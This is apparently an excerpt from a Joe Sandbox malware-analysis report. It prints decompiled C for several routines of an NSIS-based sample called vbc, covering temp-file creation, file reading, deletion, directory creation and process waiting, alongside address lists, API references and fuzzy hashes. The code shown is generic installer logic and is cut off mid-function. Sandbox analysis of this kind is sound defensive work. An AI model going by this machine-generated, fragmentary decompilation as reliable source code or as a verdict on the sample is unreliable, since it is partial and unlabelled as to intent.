0x0040619a
0x0040619f
0x004061a0
0x004061a3
0x004061a8
0x004061ab
0x004061b5
0x004061c2
0x004061c6
0x004061ce
0x00000000
0x00000000
0x004061d2
0x00000000
0x004061d4
0x004061d4
0x004061d4
0x004061d7
0x004061da
0x004061da
0x004061dd
0x00000000

APIs

GetTickCount.KERNEL32(7556D4C4,C:\Users\user\AppData\Local\Temp\,?,?,?,00403644,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403929), ref: 004061AB
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,?,00403644,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403929), ref: 004061C6

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00406192
nsa, xrefs: 0040619A

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-4262883142
Opcode ID: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
Instruction ID: 4618a7cd5e379287717806b061479f75a97df545f28ae60e57938b9bb9b89627
Opcode Fuzzy Hash: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
Instruction Fuzzy Hash: 4CF09676700214BFDB008F55ED05E9AB7BCEF91710F11803AEE05E7150E6B099548764

Uniqueness

Uniqueness Score: -1.00%

Function 00403377 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00403377(void* __ecx, long _a4, intOrPtr _a8, void* _a12, long _a16) {
				long _v8;
				long _t21;
				long _t22;
				void* _t24;
				long _t26;
				int _t27;
				long _t28;
				void* _t30;
				long _t31;
				long _t32;
				long _t36;

				_t21 = _a4;
				if(_t21 >= 0) {
					_t32 = _t21 +  *0x7a8af8;
					 *0x79f734 = _t32;
					SetFilePointer( *0x40a01c, _t32, 0, 0); // executed
				}
				_t22 = E0040347F(4);
				if(_t22 >= 0) {
					_t24 = E004061E1( *0x40a01c,  &_a4, 4); // executed
					if(_t24 == 0) {
						L18:
						_push(0xfffffffd);
						goto L19;
					} else {
						 *0x79f734 =  *0x79f734 + 4;
						_t36 = E0040347F(_a4);
						if(_t36 < 0) {
							L21:
							_t22 = _t36;
						} else {
							if(_a12 != 0) {
								_t26 = _a4;
								if(_t26 >= _a16) {
									_t26 = _a16;
								}
								_t27 = ReadFile( *0x40a01c, _a12, _t26,  &_v8, 0); // executed
								if(_t27 != 0) {
									_t36 = _v8;
									 *0x79f734 =  *0x79f734 + _t36;
									goto L21;
								} else {
									goto L18;
								}
							} else {
								if(_a4 <= 0) {
									goto L21;
								} else {
									while(1) {
										_t28 = _a4;
										if(_a4 >= 0x4000) {
											_t28 = 0x4000;
										}
										_v8 = _t28;
										if(E004061E1( *0x40a01c, 0x793730, _t28) == 0) {
											goto L18;
										}
										_t30 = E00406210(_a8, 0x793730, _v8); // executed
										if(_t30 == 0) {
											_push(0xfffffffe);
											L19:
											_pop(_t22);
										} else {
											_t31 = _v8;
											_a4 = _a4 - _t31;
											 *0x79f734 =  *0x79f734 + _t31;
											_t36 = _t36 + _t31;
											if(_a4 > 0) {
												continue;
											} else {
												goto L21;
											}
										}
										goto L22;
									}
									goto L18;
								}
							}
						}
					}
				}
				L22:
				return _t22;
			}

0x0040337b
0x00403384
0x0040338d
0x00403391
0x0040339c
0x0040339c
0x004033a4
0x004033ab
0x004033bd
0x004033c4
0x00403469
0x00403469
0x00000000
0x004033ca
0x004033cd
0x004033d9
0x004033dd
0x00403477
0x00403477
0x004033e3
0x004033e6
0x00403445
0x0040344b
0x0040344d
0x0040344d
0x0040345f
0x00403467
0x0040346e
0x00403471
0x00000000
0x00000000
0x00000000
0x00000000
0x004033e8
0x004033eb
0x00000000
0x004033f1
0x004033f6
0x004033fd
0x00403400
0x00403402
0x00403402
0x0040340f
0x00403419
0x00000000
0x00000000
0x00403422
0x00403429
0x00403441
0x0040346b
0x0040346b
0x0040342b
0x0040342b
0x0040342e
0x00403431
0x00403437
0x0040343d
0x00000000
0x0040343f
0x00000000
0x0040343f
0x0040343d
0x00000000
0x00403429
0x00000000
0x004033f6
0x004033eb
0x004033e6
0x004033dd
0x004033c4
0x00403479
0x0040347c

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000000,00000000,?,?,00403323,000000FF,00000000,00000000,?,?), ref: 0040339C

Strings

07y, xrefs: 004033F1

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FilePointer
String ID: 07y
API String ID: 973152223-1660179758
Opcode ID: 6b22196eac9600fa0887d596689305aa324d5ca70b4b9ec5c244ac4710233144
Instruction ID: 558639dd8831905cecc0235a21772d735375f1fafe9af626847c4dd8eee9aa20
Opcode Fuzzy Hash: 6b22196eac9600fa0887d596689305aa324d5ca70b4b9ec5c244ac4710233144
Instruction Fuzzy Hash: 73319330201218FFDF129FA5ED85D9E3F68EB00359F10803AF905E9190D778DA51DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405D32 Relevance: 4.5, APIs: 3, Instructions: 28
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 41%

			E00405D32(void* __eflags, WCHAR* _a4, signed int _a8) {
				int _t9;
				long _t13;
				WCHAR* _t14;

				_t14 = _a4;
				_t13 = E00406139(_t14);
				if(_t13 == 0xffffffff) {
					L8:
					return 0;
				}
				_push(_t14);
				if((_a8 & 0x00000001) == 0) {
					_t9 = DeleteFileW();
				} else {
					_t9 = RemoveDirectoryW(); // executed
				}
				if(_t9 == 0) {
					if((_a8 & 0x00000004) == 0) {
						SetFileAttributesW(_t14, _t13);
					}
					goto L8;
				} else {
					return 1;
				}
			}

0x00405d33
0x00405d3e
0x00405d43
0x00405d73
0x00000000
0x00405d73
0x00405d4a
0x00405d4b
0x00405d55
0x00405d4d
0x00405d4d
0x00405d4d
0x00405d5d
0x00405d69
0x00405d6d
0x00405d6d
0x00000000
0x00405d5f
0x00000000
0x00405d61

APIs

Part of subcall function 00406139: GetFileAttributesW.KERNELBASE(?,?,00405D3E,?,?,00000000,00405F14,?,?,?,?), ref: 0040613E
Part of subcall function 00406139: SetFileAttributesW.KERNELBASE(?,00000000), ref: 00406152

RemoveDirectoryW.KERNELBASE(?,?,?,00000000,00405F14), ref: 00405D4D
DeleteFileW.KERNEL32(?,?,?,00000000,00405F14), ref: 00405D55
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405D6D

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: 80ad4dccc83bd5cfbcd7ef077da852fe0cb096cb549a199170c52783d075929e
Instruction ID: 65d886778d981234f1bc095319bf1530848ff53bfe772b7143d7b60a17f83489
Opcode Fuzzy Hash: 80ad4dccc83bd5cfbcd7ef077da852fe0cb096cb549a199170c52783d075929e
Instruction Fuzzy Hash: E1E0E531204EA056C7106B35AD0CF5B2A98EF86314F05893FF592B10D0D77888078AAE

Uniqueness

Uniqueness Score: -1.00%

Function 00406AE6 Relevance: 4.5, APIs: 3, Instructions: 27
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406AE6(void* __ecx, void* _a4) {
				long _v8;
				long _t6;

				_t6 = WaitForSingleObject(_a4, 0x64);
				while(_t6 == 0x102) {
					E00406A77(0xf);
					_t6 = WaitForSingleObject(_a4, 0x64);
				}
				GetExitCodeProcess(_a4,  &_v8); // executed
				return _v8;
			}

0x00406af7
0x00406b0e
0x00406b02
0x00406b0c
0x00406b0c
0x00406b19
0x00406b25

APIs

WaitForSingleObject.KERNEL32(?,00000064,00000000,00000000,?,?,00401F9F,?,?,?,?,?,?), ref: 00406AF7
WaitForSingleObject.KERNEL32(?,00000064,0000000F,?,?,00401F9F,?,?,?,?,?,?), ref: 00406B0C
GetExitCodeProcess.KERNELBASE(?,?), ref: 00406B19

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: ObjectSingleWait$CodeExitProcess
String ID:
API String ID: 2567322000-0
Opcode ID: 283581236024a182d03fca7383c40b0f2a2dbb9aa7d2600e4fb29ca982165da2
Instruction ID: 2c972b7a35bd62db52b15041da2731f4b89024a3c017fe3bef96d42d01d66162
Opcode Fuzzy Hash: 283581236024a182d03fca7383c40b0f2a2dbb9aa7d2600e4fb29ca982165da2
Instruction Fuzzy Hash: 67E09271600218BBEB00AB54DD05E9E7F7EDB44700F110032F601F6190C6B1EE22DAA4

Uniqueness

Uniqueness Score: -1.00%

Function 00403C2B Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00403C2B() {
				void* _t1;
				void* _t2;
				void* _t4;
				signed int _t11;

				_t1 =  *0x40a018; // 0xffffffff
				if(_t1 != 0xffffffff) {
					CloseHandle(_t1); // executed
					 *0x40a018 =  *0x40a018 | 0xffffffff;
				}
				_t2 =  *0x40a01c; // 0xffffffff
				if(_t2 != 0xffffffff) {
					CloseHandle(_t2);
					 *0x40a01c =  *0x40a01c | 0xffffffff;
					_t11 =  *0x40a01c;
				}
				E00403C88();
				_t4 = E00405D7A(_t11, 0x7b6000, 7); // executed
				return _t4;
			}

0x00403c2b
0x00403c3a
0x00403c3d
0x00403c3f
0x00403c3f
0x00403c46
0x00403c4e
0x00403c51
0x00403c53
0x00403c53
0x00403c53
0x00403c5a
0x00403c66
0x00403c6c

APIs

CloseHandle.KERNELBASE(FFFFFFFF), ref: 00403C3D
CloseHandle.KERNEL32(FFFFFFFF), ref: 00403C51

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403C30

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2962429428-4017390910
Opcode ID: 52edf64d19f6e486756a6566919607a0afda347394bdeaae2c0f5391c2589c01
Instruction ID: 4491f7c80fa00ae2087dec4a459748e9e372b7f9a3145cafecdefc003a92e639
Opcode Fuzzy Hash: 52edf64d19f6e486756a6566919607a0afda347394bdeaae2c0f5391c2589c01
Instruction Fuzzy Hash: F3E0863244471896D1347F7DAE4D9853B195F413327204326F178F20F0C7389AA74A99

Uniqueness

Uniqueness Score: -1.00%

Function 004015C1 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E004015C1(short __ebx, void* __eflags) {
				void* _t17;
				int _t23;
				void* _t25;
				signed char _t26;
				short _t28;
				short _t31;
				short* _t34;
				void* _t36;

				_t28 = __ebx;
				 *(_t36 + 8) = E00402DA6(0xfffffff0);
				_t17 = E00405FE8(_t16);
				_t32 = _t17;
				if(_t17 != __ebx) {
					do {
						_t34 = E00405F6A(_t32, 0x5c);
						_t31 =  *_t34;
						 *_t34 = _t28;
						if(_t31 != _t28) {
							L5:
							_t25 = E00405C1C( *(_t36 + 8));
						} else {
							_t42 =  *((intOrPtr*)(_t36 - 0x28)) - _t28;
							if( *((intOrPtr*)(_t36 - 0x28)) == _t28 || E00405C39(_t42) == 0) {
								goto L5;
							} else {
								_t25 = E00405B9F( *(_t36 + 8)); // executed
							}
						}
						if(_t25 != _t28) {
							if(_t25 != 0xb7) {
								L9:
								 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
							} else {
								_t26 = GetFileAttributesW( *(_t36 + 8)); // executed
								if((_t26 & 0x00000010) == 0) {
									goto L9;
								}
							}
						}
						 *_t34 = _t31;
						_t32 = _t34 + 2;
					} while (_t31 != _t28);
				}
				if( *((intOrPtr*)(_t36 - 0x2c)) == _t28) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E0040666E(0x7b4000,  *(_t36 + 8));
					_t23 = SetCurrentDirectoryW( *(_t36 + 8)); // executed
					if(_t23 == 0) {
						 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
					}
				}
				 *0x7a8b28 =  *0x7a8b28 +  *((intOrPtr*)(_t36 - 4));
				return 0;
			}

0x004015c1
0x004015c9
0x004015cc
0x004015d1
0x004015d5
0x004015d7
0x004015df
0x004015e1
0x004015e4
0x004015ea
0x00401604
0x00401607
0x004015ec
0x004015ec
0x004015ef
0x00000000
0x004015fa
0x004015fd
0x004015fd
0x004015ef
0x0040160e
0x00401615
0x00401624
0x00401624
0x00401617
0x0040161a
0x00401622
0x00000000
0x00000000
0x00401622
0x00401615
0x00401627
0x0040162b
0x0040162c
0x004015d7
0x00401634
0x00401663
0x004022f1
0x00401636
0x00401638
0x00401645
0x0040164d
0x00401655
0x0040165b
0x0040165b
0x00401655
0x00402c2d
0x00402c39

APIs

Part of subcall function 00405FE8: CharNextW.USER32(?), ref: 00405FF6
Part of subcall function 00405FE8: CharNextW.USER32(00000000), ref: 00405FFB
Part of subcall function 00405FE8: CharNextW.USER32(00000000), ref: 00406013

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 00405B9F: CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405BE2

SetCurrentDirectoryW.KERNELBASE(?,007B4000,?,00000000,000000F0), ref: 0040164D

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: f9cb4e2508e2448aa58c0f22a173479fd38d1f56d80015943564eb9aeda41760
Instruction ID: 957f66bc23545469dbc724fd3d157a479205f5e7ec4e330cdfccc87aa14dd729
Opcode Fuzzy Hash: f9cb4e2508e2448aa58c0f22a173479fd38d1f56d80015943564eb9aeda41760
Instruction Fuzzy Hash: 3111E231408115EBCF217FA5CD4099E36A0EF15369B28493BFA01B22F1DA3E49829B5E

Uniqueness

Uniqueness Score: -1.00%

Function 00406045 Relevance: 3.0, APIs: 2, Instructions: 47
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00406045(void* __eflags, intOrPtr _a4) {
				int _t11;
				signed char* _t12;
				long _t16;
				intOrPtr _t18;
				intOrPtr* _t21;
				signed int _t23;

				E0040666E(0x7a4790, _a4);
				_t21 = E00405FE8(0x7a4790);
				if(_t21 != 0) {
					E004068F5(_t21);
					if(( *0x7a8ab8 & 0x00000080) == 0) {
						L5:
						_t23 = _t21 - 0x7a4790 >> 1;
						while(1) {
							_t11 = lstrlenW(0x7a4790);
							_push(0x7a4790);
							if(_t11 <= _t23) {
								break;
							}
							_t12 = E004069A4();
							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
								E00405F89(0x7a4790);
								continue;
							} else {
								goto L1;
							}
						}
						E00405F3D();
						_t16 = GetFileAttributesW(??); // executed
						return 0 | _t16 != 0xffffffff;
					}
					_t18 =  *_t21;
					if(_t18 == 0 || _t18 == 0x5c) {
						goto L1;
					} else {
						goto L5;
					}
				}
				L1:
				return 0;
			}

0x00406051
0x0040605c
0x00406060
0x00406067
0x00406073
0x00406083
0x00406085
0x0040609d
0x0040609e
0x004060a5
0x004060a6
0x00000000
0x00000000
0x00406089
0x00406090
0x00406098
0x00000000
0x00000000
0x00000000
0x00000000
0x00406090
0x004060a8
0x004060ae
0x00000000
0x004060bc
0x00406075
0x0040607b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040607b
0x00406062
0x00000000

APIs

Part of subcall function 0040666E: lstrcpynW.KERNEL32(?,?,00000400,004037B6,007A7AA0,NSIS Error), ref: 0040667B

Part of subcall function 00405FE8: CharNextW.USER32(?), ref: 00405FF6
Part of subcall function 00405FE8: CharNextW.USER32(00000000), ref: 00405FFB
Part of subcall function 00405FE8: CharNextW.USER32(00000000), ref: 00406013

lstrlenW.KERNEL32(007A4790,00000000,007A4790,007A4790,7556D4C4,?,755513E0,00405D9A,?,7556D4C4,755513E0,00000000), ref: 0040609E
GetFileAttributesW.KERNELBASE(007A4790,007A4790,007A4790,007A4790,007A4790,007A4790,00000000,007A4790,007A4790,7556D4C4,?,755513E0,00405D9A,?,7556D4C4,755513E0), ref: 004060AE

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID:
API String ID: 3248276644-0
Opcode ID: fa3c9235a4b418ee68dfdff8e4277a43b5875b963336551736dc5840a4575c34
Instruction ID: 38ed1c6f7611cbdad0e8a1dc3f16fb44af04154f1bcb09577380b12bcb23f66f
Opcode Fuzzy Hash: fa3c9235a4b418ee68dfdff8e4277a43b5875b963336551736dc5840a4575c34
Instruction Fuzzy Hash: 31F0282A148A5219D622B33A0D05ABF05458EC2354B0B063FFC53B12D1DF7C897385BF

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x7a8ad0;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x7a7a8c =  *0x7a7a8c + _t12;
						SendMessageW( *(_t18 + 0x18), 0x402, MulDiv( *0x7a7a8c, 0x7530,  *0x7a7a74), 0);
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32 ref: 004013E4
SendMessageW.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: aa6623dc5ba143c6751f89f60c6741bc3c59239a488c9da53ae18f0a51eeece7
Instruction ID: 0d0e525a89db022a3713d7d40a62d3a92fa7a1992dda9c0477917c3d4d329065
Opcode Fuzzy Hash: aa6623dc5ba143c6751f89f60c6741bc3c59239a488c9da53ae18f0a51eeece7
Instruction Fuzzy Hash: 5901F432624220ABE7094B389D05B2A3698E751315F10C67FF851F79F1EA78CC02DB4C

Uniqueness

Uniqueness Score: -1.00%

Function 00405C51 Relevance: 3.0, APIs: 2, Instructions: 24
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405C51(WCHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x7a4f90->cb = 0x44;
